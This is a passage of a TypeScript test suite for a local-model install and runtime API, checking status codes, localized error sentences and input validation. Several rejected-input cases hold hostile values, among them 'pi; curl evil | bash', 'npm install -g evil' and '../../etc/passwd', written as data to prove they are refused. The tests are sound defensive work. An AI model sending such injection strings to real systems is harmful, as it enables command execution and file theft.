{ name: 'w3-lib', customModel: { endpointId: 'office-gpu' } },
|
|
]);
|
|
await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY });
|
|
expect(f.service.install.mock.calls[0][2]).toEqual(['w1-app']);
|
|
});
|
|
|
|
it('a row the server does not offer is a 400 with the service own sentence, as text and as data', async () => {
|
|
const f = fakes();
|
|
f.service.install.mockResolvedValue({
|
|
ok: false,
|
|
status: 400,
|
|
message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotInstallable, vars: { cli: 'OpenCode' } },
|
|
});
|
|
const { app } = await harness(f.deps);
|
|
const res = await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY });
|
|
expect(res.statusCode).toBe(400);
|
|
// `error` is the English sentence with its slots filled; `data.message` is the sentence
|
|
// with its slots apart, which the window prints in its own language.
|
|
expect(res.json()).toEqual({
|
|
success: false,
|
|
error: 'OpenCode is not installed and cannot be installed from here.',
|
|
errorCode: 'INVALID_INPUT',
|
|
data: {
|
|
message: { text: '{cli} is not installed and cannot be installed from here.', vars: { cli: 'OpenCode' } },
|
|
},
|
|
});
|
|
});
|
|
|
|
it('a first install on a full disk is a 507 with the sentence, not a 500', async () => {
|
|
const f = fakes();
|
|
f.service.install.mockResolvedValue({
|
|
ok: false,
|
|
status: 507,
|
|
message: { text: LOCAL_MODEL_INSTALL_LABELS.errDiskFull },
|
|
});
|
|
const { app } = await harness(f.deps);
|
|
const res = await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY });
|
|
expect(res.statusCode).toBe(507);
|
|
expect(res.json()).toEqual({
|
|
success: false,
|
|
error: 'The disk is full. Free up space, then try again.',
|
|
errorCode: 'OPERATION_FAILED',
|
|
data: { message: { text: 'The disk is full. Free up space, then try again.' } },
|
|
});
|
|
});
|
|
|
|
it('consent bound to the size: the 409 carries the server own total, so the window can ask again', async () => {
|
|
const f = fakes();
|
|
f.service.install.mockResolvedValue({
|
|
ok: false,
|
|
status: 409,
|
|
conflict: {
|
|
reason: 'size-changed',
|
|
message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSizeChanged, vars: { size: '23.3' } },
|
|
expectedBytes: 23291770627,
|
|
expectedGb: '23.3',
|
|
},
|
|
});
|
|
const { app } = await harness(f.deps);
|
|
const res = await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY });
|
|
expect(res.statusCode).toBe(409);
|
|
expect(res.json()).toEqual({
|
|
success: false,
|
|
error: 'The download is 23.3 GB now. Check the sizes and confirm again.',
|
|
errorCode: 'CONFLICT',
|
|
data: {
|
|
reason: 'size-changed',
|
|
message: {
|
|
text: 'The download is {size} GB now. Check the sizes and confirm again.',
|
|
vars: { size: '23.3' },
|
|
},
|
|
expectedBytes: 23291770627,
|
|
expectedGb: '23.3',
|
|
},
|
|
});
|
|
});
|
|
|
|
it.each([
|
|
['no body', undefined],
|
|
['a missing size', { modelId: 'qwen3.8:27b', cli: 'opencode', context: 131072 }],
|
|
['a model id with a registry host in it', { ...INSTALL_BODY, modelId: 'evil.example/x/y:z' }],
|
|
['a model id without a tag', { ...INSTALL_BODY, modelId: 'qwen3.8' }],
|
|
['an upper-case model id', { ...INSTALL_BODY, modelId: 'Qwen3.8:27B' }],
|
|
['a coding agent id with a space', { ...INSTALL_BODY, cli: 'open code' }],
|
|
['a coding agent id that is a path', { ...INSTALL_BODY, cli: '../bin/sh' }],
|
|
['a context of zero', { ...INSTALL_BODY, context: 0 }],
|
|
['a context that is not a whole number', { ...INSTALL_BODY, context: 1.5 }],
|
|
['a negative size', { ...INSTALL_BODY, acknowledgedBytes: -1 }],
|
|
['a size as text', { ...INSTALL_BODY, acknowledgedBytes: '17926000000' }],
|
|
['a member nobody defined', { ...INSTALL_BODY, url: 'https://example.invalid/ollama.tgz' }],
|
|
])('%s is a 400 before the service is asked', async (_label, payload) => {
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps);
|
|
const res = await app.inject({
|
|
method: 'POST',
|
|
url: '/api/local-model/install',
|
|
...(payload ? { payload } : {}),
|
|
});
|
|
expect(res.statusCode).toBe(400);
|
|
expect(res.json()).toMatchObject({ success: false, errorCode: 'INVALID_INPUT' });
|
|
expect(f.service.install).not.toHaveBeenCalled();
|
|
});
|
|
});
|
|
|
|
describe('POST /api/local-model/resume and /runtime', () => {
|
|
it('resume takes no body, an empty one, or newPort', async () => {
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps);
|
|
await app.inject({ method: 'POST', url: '/api/local-model/resume' });
|
|
await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} });
|
|
await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: { newPort: true } });
|
|
expect(f.service.resume.mock.calls.map(([body]) => body)).toEqual([{}, {}, { newPort: true }]);
|
|
expect(f.service.resume.mock.calls[0][1]).toEqual({ username: 'admin', ip: '127.0.0.1' });
|
|
});
|
|
|
|
it('resume and runtime hand the service the live sessions on the model, read at the moment of the request', async () => {
|
|
const f = fakes();
|
|
const sessions = new Map<string, SessionLike>([
|
|
['a', { name: 'w1-app', customModel: { endpointId: 'local-ollama' } }],
|
|
['b', { name: 'w2-app', customModel: { endpointId: 'office-gpu' } }],
|
|
]);
|
|
const { app } = await createRouteTestHarness((instance) =>
|
|
registerLocalModelRoutes(instance, { sessions }, f.deps)
|
|
);
|
|
await app.inject({ method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } });
|
|
await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: { newPort: true } });
|
|
sessions.delete('a');
|
|
await app.inject({ method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } });
|
|
expect(f.service.runtime.mock.calls.map((args) => args[1])).toEqual([['w1-app'], []]);
|
|
expect(f.service.resume.mock.calls[0][2]).toEqual(['w1-app']);
|
|
});
|
|
|
|
it('a stop while a live session uses the model: 409 with the session names', async () => {
|
|
const f = fakes();
|
|
f.service.runtime.mockImplementation(async (_request, names = []) => ({
|
|
ok: false,
|
|
status: 409,
|
|
conflict: {
|
|
reason: 'sessions-open',
|
|
message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen, vars: { sessions: names.join(', ') } },
|
|
sessions: [...names],
|
|
},
|
|
}));
|
|
const { app } = await harness(f.deps, undefined, [
|
|
{ name: 'w1-app', customModel: { endpointId: 'local-ollama' } },
|
|
]);
|
|
const res = await app.inject({ method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } });
|
|
expect(res.statusCode).toBe(409);
|
|
expect(res.json()).toMatchObject({
|
|
errorCode: 'CONFLICT',
|
|
error: 'Sessions are still using this model: w1-app. Close them first.',
|
|
data: { reason: 'sessions-open', sessions: ['w1-app'] },
|
|
});
|
|
});
|
|
|
|
it('resume refuses a body it does not know', async () => {
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps);
|
|
const res = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: { port: 80 } });
|
|
expect(res.statusCode).toBe(400);
|
|
expect(f.service.resume).not.toHaveBeenCalled();
|
|
});
|
|
|
|
it('runtime takes start or stop, and newPort with it', async () => {
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps);
|
|
await app.inject({
|
|
method: 'POST',
|
|
url: '/api/local-model/runtime',
|
|
payload: { action: 'start', newPort: true },
|
|
});
|
|
await app.inject({ method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } });
|
|
expect(f.service.runtime.mock.calls.map(([body]) => body)).toEqual([
|
|
{ action: 'start', newPort: true },
|
|
{ action: 'stop' },
|
|
]);
|
|
});
|
|
|
|
it.each([
|
|
['no body', undefined],
|
|
['no action', {}],
|
|
['an action that is neither', { action: 'restart' }],
|
|
['a port number of the caller own choosing', { action: 'start', port: 22 }],
|
|
])('runtime with %s is a 400', async (_label, payload) => {
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps);
|
|
const res = await app.inject({
|
|
method: 'POST',
|
|
url: '/api/local-model/runtime',
|
|
...(payload ? { payload } : {}),
|
|
});
|
|
expect(res.statusCode).toBe(400);
|
|
expect(f.service.runtime).not.toHaveBeenCalled();
|
|
});
|
|
});
|
|
|
|
describe('DELETE /api/local-model', () => {
|
|
const SESSIONS: SessionLike[] = [
|
|
{ name: 'w1-app', customModel: { endpointId: 'local-ollama' } },
|
|
{ name: 'w2-app' },
|
|
{ name: 'w3-lib', customModel: { endpointId: 'office-gpu' } },
|
|
{ name: 'w4-lib', customModel: { endpointId: 'local-ollama' } },
|
|
];
|
|
|
|
it('hands the service the names of the live sessions on the model, and who asked', async () => {
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps, undefined, SESSIONS);
|
|
await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } });
|
|
expect(f.service.remove).toHaveBeenCalledWith({ removeModel: true }, ['w1-app', 'w4-lib'], {
|
|
username: 'admin',
|
|
ip: '127.0.0.1',
|
|
});
|
|
});
|
|
|
|
it('without a live session on the model the list is empty, and no body means the model stays', async () => {
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps, undefined, [SESSIONS[1], SESSIONS[2]]);
|
|
const res = await app.inject({ method: 'DELETE', url: '/api/local-model' });
|
|
expect(res.statusCode).toBe(200);
|
|
expect(f.service.remove.mock.calls[0][0]).toEqual({});
|
|
expect(f.service.remove.mock.calls[0][1]).toEqual([]);
|
|
});
|
|
|
|
it('the sessions are read at the moment of the request, not when the routes were registered', async () => {
|
|
const f = fakes();
|
|
const sessions = new Map<string, SessionLike>();
|
|
const { app } = await createRouteTestHarness((instance) =>
|
|
registerLocalModelRoutes(instance, { sessions }, f.deps)
|
|
);
|
|
await app.inject({ method: 'DELETE', url: '/api/local-model' });
|
|
sessions.set('late', { name: 'w9-late', customModel: { endpointId: 'local-ollama' } });
|
|
await app.inject({ method: 'DELETE', url: '/api/local-model' });
|
|
expect(f.service.remove.mock.calls.map((args) => args[1])).toEqual([[], ['w9-late']]);
|
|
});
|
|
|
|
it('while a live session uses the model: 409 with the session names', async () => {
|
|
const f = fakes();
|
|
f.service.remove.mockImplementation(async (_request, names) => ({
|
|
ok: false,
|
|
status: 409,
|
|
conflict: {
|
|
reason: 'sessions-open',
|
|
message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen, vars: { sessions: names.join(', ') } },
|
|
sessions: [...names],
|
|
},
|
|
}));
|
|
const { app } = await harness(f.deps, undefined, SESSIONS);
|
|
const res = await app.inject({ method: 'DELETE', url: '/api/local-model' });
|
|
expect(res.statusCode).toBe(409);
|
|
expect(res.json()).toEqual({
|
|
success: false,
|
|
error: 'Sessions are still using this model: w1-app, w4-lib. Close them first.',
|
|
errorCode: 'CONFLICT',
|
|
data: {
|
|
reason: 'sessions-open',
|
|
message: {
|
|
text: 'Sessions are still using this model: {sessions}. Close them first.',
|
|
vars: { sessions: 'w1-app, w4-lib' },
|
|
},
|
|
sessions: ['w1-app', 'w4-lib'],
|
|
},
|
|
});
|
|
});
|
|
|
|
it('refuses a body it does not know', async () => {
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps);
|
|
const res = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { path: '/' } });
|
|
expect(res.statusCode).toBe(400);
|
|
expect(f.service.remove).not.toHaveBeenCalled();
|
|
});
|
|
});
|
|
});
|
|
|
|
describe('the library verbs', () => {
|
|
const SESSIONS: SessionLike[] = [
|
|
{ name: 'w1-app', customModel: { endpointId: 'local-ollama' } },
|
|
{ name: 'w2-app' },
|
|
{ name: 'w3-lib', customModel: { endpointId: 'office-gpu' } },
|
|
];
|
|
|
|
describe('POST /api/local-model/use', () => {
|
|
it('hands the service the model, who asked and the live sessions on the model', async () => {
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps, { username: 'alice', role: 'admin' }, SESSIONS);
|
|
await app.inject({ method: 'POST', url: '/api/local-model/use', payload: { modelId: 'gpt-oss:20b' } });
|
|
expect(f.service.use).toHaveBeenCalledWith({ modelId: 'gpt-oss:20b' }, { username: 'alice', ip: '127.0.0.1' }, [
|
|
'w1-app',
|
|
]);
|
|
});
|
|
|
|
it('a model that is not one of the checked ones is a 400 with the sentence, as text and as data', async () => {
|
|
const f = fakes();
|
|
f.service.use.mockResolvedValue({
|
|
ok: false,
|
|
status: 400,
|
|
message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedNotInLibrary },
|
|
});
|
|
const { app } = await harness(f.deps);
|
|
const res = await app.inject({ method: 'POST', url: '/api/local-model/use', payload: { modelId: 'x:1b' } });
|
|
expect(res.statusCode).toBe(400);
|
|
expect(res.json()).toEqual({
|
|
success: false,
|
|
error: 'This model is not one of the checked models on this Mac.',
|
|
errorCode: 'INVALID_INPUT',
|
|
data: { message: { text: 'This model is not one of the checked models on this Mac.' } },
|
|
});
|
|
});
|
|
|
|
it.each([
|
|
['no body', undefined],
|
|
['no model', {}],
|
|
['a path', { modelId: '../../etc/passwd' }],
|
|
['another registry', { modelId: 'hf.co/someone/model:Q4' }],
|
|
['a member it does not know', { modelId: 'gpt-oss:20b', context: 65536 }],
|
|
])('refuses %s before the service is asked', async (_name, payload) => {
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps);
|
|
const res = await app.inject({ method: 'POST', url: '/api/local-model/use', ...(payload ? { payload } : {}) });
|
|
expect(res.statusCode).toBe(400);
|
|
expect(f.service.use).not.toHaveBeenCalled();
|
|
});
|
|
});
|
|
|
|
describe('POST /api/local-model/agent', () => {
|
|
it('hands the service the coding agent and who asked, and looks at no session', async () => {
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps, { username: 'alice', role: 'admin' }, SESSIONS);
|
|
await app.inject({ method: 'POST', url: '/api/local-model/agent', payload: { cli: 'pi' } });
|
|
// Nothing about the model in use changes, so live sessions on it do not matter.
|
|
expect(f.service.installAgent).toHaveBeenCalledWith({ cli: 'pi' }, { username: 'alice', ip: '127.0.0.1' });
|
|
});
|
|
|
|
it('an agent the server does not offer is a 400 with the sentence, as text and as data', async () => {
|
|
const f = fakes();
|
|
f.service.installAgent.mockResolvedValue({
|
|
ok: false,
|
|
status: 400,
|
|
message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotInstallable, vars: { cli: 'DeepSeek' } },
|
|
});
|
|
const { app } = await harness(f.deps);
|
|
const res = await app.inject({ method: 'POST', url: '/api/local-model/agent', payload: { cli: 'deepseek' } });
|
|
expect(res.statusCode).toBe(400);
|
|
expect(res.json()).toEqual({
|
|
success: false,
|
|
error: 'DeepSeek is not installed and cannot be installed from here.',
|
|
errorCode: 'INVALID_INPUT',
|
|
data: {
|
|
message: {
|
|
text: '{cli} is not installed and cannot be installed from here.',
|
|
vars: { cli: 'DeepSeek' },
|
|
},
|
|
},
|
|
});
|
|
});
|
|
|
|
it('an installer that already runs is a 409 with the reason', async () => {
|
|
const f = fakes();
|
|
f.service.installAgent.mockResolvedValue({
|
|
ok: false,
|
|
status: 409,
|
|
conflict: { reason: 'job-running', message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning } },
|
|
});
|
|
const { app } = await harness(f.deps);
|
|
const res = await app.inject({ method: 'POST', url: '/api/local-model/agent', payload: { cli: 'pi' } });
|
|
expect(res.statusCode).toBe(409);
|
|
expect(res.json()).toMatchObject({ success: false, errorCode: 'CONFLICT', data: { reason: 'job-running' } });
|
|
});
|
|
|
|
it.each([
|
|
['no body', undefined],
|
|
['no agent', {}],
|
|
['a command', { cli: 'pi; curl evil | bash' }],
|
|
['a path', { cli: '../bin/sh' }],
|
|
['an upper-case id', { cli: 'Pi' }],
|
|
['a command of its own', { cli: 'pi', command: 'npm install -g evil' }],
|
|
])('refuses %s before the service is asked', async (_name, payload) => {
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps);
|
|
const res = await app.inject({ method: 'POST', url: '/api/local-model/agent', ...(payload ? { payload } : {}) });
|
|
expect(res.statusCode).toBe(400);
|
|
expect(f.service.installAgent).not.toHaveBeenCalled();
|
|
});
|
|
});
|
|
|
|
describe('DELETE /api/local-model/models', () => {
|
|
it('hands the service the model name and who asked', async () => {
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps, { username: 'alice', role: 'admin' });
|
|
await app.inject({ method: 'DELETE', url: '/api/local-model/models', payload: { modelId: 'gpt-oss:20b' } });
|
|
expect(f.service.deleteLibraryModel).toHaveBeenCalledWith(
|
|
{ modelId: 'gpt-oss:20b' },
|
|
{ username: 'alice', ip: '127.0.0.1' }
|
|
);
|
|
// The whole installation is another route: it was not asked.
|
|
expect(f.service.remove).not.toHaveBeenCalled();
|
|
});
|
|
|
|
it.each([
|
|
['no body', undefined],
|
|
['a path', { modelId: '/Users/me/.codeman/local-model/models' }],
|
|
['a path that climbs', { modelId: '../../etc/passwd' }],
|
|
['a name with a slash', { modelId: 'library/qwen3.8:27b' }],
|
|
['a name without a tag', { modelId: 'qwen3.8' }],
|
|
['a path member', { modelId: 'gpt-oss:20b', path: '/' }],
|
|
])('takes a model name and nothing else: refuses %s', async (_name, payload) => {
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps);
|
|
const res = await app.inject({
|
|
method: 'DELETE',
|
|
url: '/api/local-model/models',
|
|
...(payload ? { payload } : {}),
|
|
});
|
|
expect(res.statusCode).toBe(400);
|
|
expect(f.service.deleteLibraryModel).not.toHaveBeenCalled();
|
|
});
|
|
|
|
it('the model in use: 409 with the reason and the sentence', async () => {
|
|
const f = fakes();
|
|
f.service.deleteLibraryModel.mockResolvedValue({
|
|
ok: false,
|
|
status: 409,
|
|
conflict: {
|
|
reason: 'model-active',
|
|
message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictModelActive, vars: { model: 'Qwen3.8 27B' } },
|
|
},
|
|
});
|
|
const { app } = await harness(f.deps);
|
|
const res = await app.inject({
|
|
method: 'DELETE',
|
|
url: '/api/local-model/models',
|
|
payload: { modelId: 'qwen3.8:27b' },
|
|
});
|
|
expect(res.statusCode).toBe(409);
|
|
expect(res.json()).toEqual({
|
|
success: false,
|
|
error: 'Qwen3.8 27B is the model in use. Switch to another model first, or remove the local model.',
|
|
errorCode: 'CONFLICT',
|
|
data: {
|
|
reason: 'model-active',
|
|
message: {
|
|
text: '{model} is the model in use. Switch to another model first, or remove the local model.',
|
|
vars: { model: 'Qwen3.8 27B' },
|
|
},
|
|
},
|
|
});
|
|
});
|
|
|
|
it('a runtime that did not delete it: 500 with the sentence, as text and as data', async () => {
|
|
const f = fakes();
|
|
f.service.deleteLibraryModel.mockResolvedValue({
|
|
ok: false,
|
|
status: 500,
|
|
message: { text: LOCAL_MODEL_INSTALL_LABELS.deleteFailed, vars: { model: 'GPT-OSS 20B' } },
|
|
});
|
|
const { app } = await harness(f.deps);
|
|
const res = await app.inject({
|
|
method: 'DELETE',
|
|
url: '/api/local-model/models',
|
|
payload: { modelId: 'gpt-oss:20b' },
|
|
});
|
|
expect(res.statusCode).toBe(500);
|
|
expect(res.json()).toEqual({
|
|
success: false,
|
|
error: 'GPT-OSS 20B could not be deleted from this Mac.',
|
|
errorCode: 'OPERATION_FAILED',
|
|
data: { message: { text: '{model} could not be deleted from this Mac.', vars: { model: 'GPT-OSS 20B' } } },
|
|
});
|
|
});
|
|
});
|
|
|
|
describe('GET /api/local-model marks the rows that are already on this Mac', () => {
|
|
it('the model in use and a model a switch can take, at the context they were checked with', async () => {
|
|
const second = { ...OK.pick!, modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B', context: 65536 };
|
|
const third = { ...OK.pick!, modelId: 'mimo-v2.6:9b-q4_k_m', modelLabel: 'MiMo V2.6 9B' };
|
|
const f = fakes(MAC, { ...OK, alternatives: [second, third] });
|
|
const row = (id: string, context: number, active: boolean) => ({
|
|
id,
|
|
label: id,
|
|
context,
|
|
active,
|
|
verified: true,
|
|
status: 'ready' as const,
|
|
actions: active ? [] : ['use' as const],
|
|
});
|
|
f.service.view.mockResolvedValue({
|
|
...IDLE_VIEW,
|
|
state: 'installed',
|
|
library: [row(OK.pick!.modelId, OK.pick!.context, true), row('gpt-oss:20b', 65536, false)],
|
|
actions: ['start-session', 'stop', 'install', 'use', 'remove'],
|
|
});
|
|
const data = (await get(f.deps)).json().data;
|
|
expect(data.recommendation.pick.library).toBe('active');
|
|
expect(data.recommendation.alternatives[0].library).toBe('ready');
|
|
expect(data.recommendation.alternatives[1]).not.toHaveProperty('library');
|
|
// What recommend() answered is not written to.
|
|
expect(OK.pick).not.toHaveProperty('library');
|
|
});
|
|
|
|
it('with nothing on this Mac no row carries the mark', async () => {
|
|
const data = (await get(fakes().deps)).json().data;
|
|
expect(data.recommendation.pick).not.toHaveProperty('library');
|
|
});
|
|
});
|
|
});
|
|
|
|
describe('the routes over the real install service', () => {
|
|
const STATE = () => dataPath('local-model.json');
|
|
|
|
afterEach(() => {
|
|
rmSync(STATE(), { force: true });
|
|
});
|
|
|
|
/** The real service with the real state file. Only the hardware is the test's: a server that is not a Mac. */
|
|
function realService(): LocalModelService {
|
|
return createLocalModelService({ readHardware: async () => LINUX });
|
|
}
|
|
|
|
it('on a server that is not a Mac nothing can be installed: the install is a 400 and nothing is written', async () => {
|
|
const service = realService();
|
|
const { app } = await harness({ readHardware: async () => LINUX, service: () => service });
|
|
const res = await app.inject({
|
|
method: 'POST',
|
|
url: '/api/local-model/install',
|
|
payload: { modelId: 'qwen3.6:35b-a3b', cli: 'opencode', context: 131072, acknowledgedBytes: 1 },
|
|
});
|
|
expect(res.statusCode).toBe(400);
|
|
expect(res.json()).toMatchObject({ success: false, errorCode: 'INVALID_INPUT' });
|
|
expect(existsSync(STATE())).toBe(false);
|
|
const get = await app.inject({ method: 'GET', url: '/api/local-model' });
|
|
expect(get.json().data.install).toMatchObject({ state: 'idle', actions: ['install'] });
|
|
expect(get.json().data.recommendation).toMatchObject({ verdict: 'none', reason: 'not-macos' });
|
|
});
|
|
|
|
it('with nothing installed: cancel, resume and a runtime action are 409 wrong-state', async () => {
|
|
const service = realService();
|
|
const { app } = await harness({ service: () => service });
|
|
for (const [url, payload] of [
|
|
['/api/local-model/cancel', undefined],
|
|
['/api/local-model/resume', {}],
|
|
['/api/local-model/runtime', { action: 'start' }],
|
|
] as const) {
|
|
const res = await app.inject({ method: 'POST', url, ...(payload ? { payload } : {}) });
|
|
expect(res.statusCode).toBe(409);
|
|
expect(res.json()).toMatchObject({
|
|
success: false,
|
|
errorCode: 'CONFLICT',
|
|
error: 'That is not possible in the current state.',
|
|
data: { reason: 'wrong-state' },
|
|
});
|
|
}
|
|
expect(existsSync(STATE())).toBe(false);
|
|
});
|
|
|
|
it('a job the state file still calls installing comes back paused on the first GET of a new server', async () => {
|
|
writeFileSync(
|
|
STATE(),
|
|
JSON.stringify({
|
|
schema: 1,
|
|
state: 'installing',
|
|
step: 'model',
|
|
steps: ['runtime', 'model', 'verify', 'agent', 'connect'],
|
|
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
|
|
cli: { id: 'opencode', label: 'OpenCode' },
|
|
runtime: { version: '0.40.15', port: 11435, enabled: true },
|
|
progress: { completedBytes: 6200000000, totalBytes: 23105798956 },
|
|
})
|
|
);
|
|
const service = realService();
|
|
const { app } = await harness({ readHardware: async () => LINUX, service: () => service });
|
|
const res = await app.inject({ method: 'GET', url: '/api/local-model' });
|
|
expect(res.json().data.install).toMatchObject({
|
|
state: 'paused',
|
|
step: 'model',
|
|
running: false,
|
|
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
|
|
cli: 'opencode',
|
|
port: 11435,
|
|
progress: { completedBytes: 6200000000, totalBytes: 23105798956, completedGb: '6.2', totalGb: '23.1' },
|
|
actions: ['resume', 'install', 'remove'],
|
|
});
|
|
expect(JSON.parse(readFileSync(STATE(), 'utf8')).state).toBe('paused');
|
|
// A second install while that job is only paused is refused for what it asks, not started.
|
|
const cancel = await app.inject({ method: 'POST', url: '/api/local-model/cancel' });
|
|
expect(cancel.statusCode).toBe(409);
|
|
});
|
|
});
|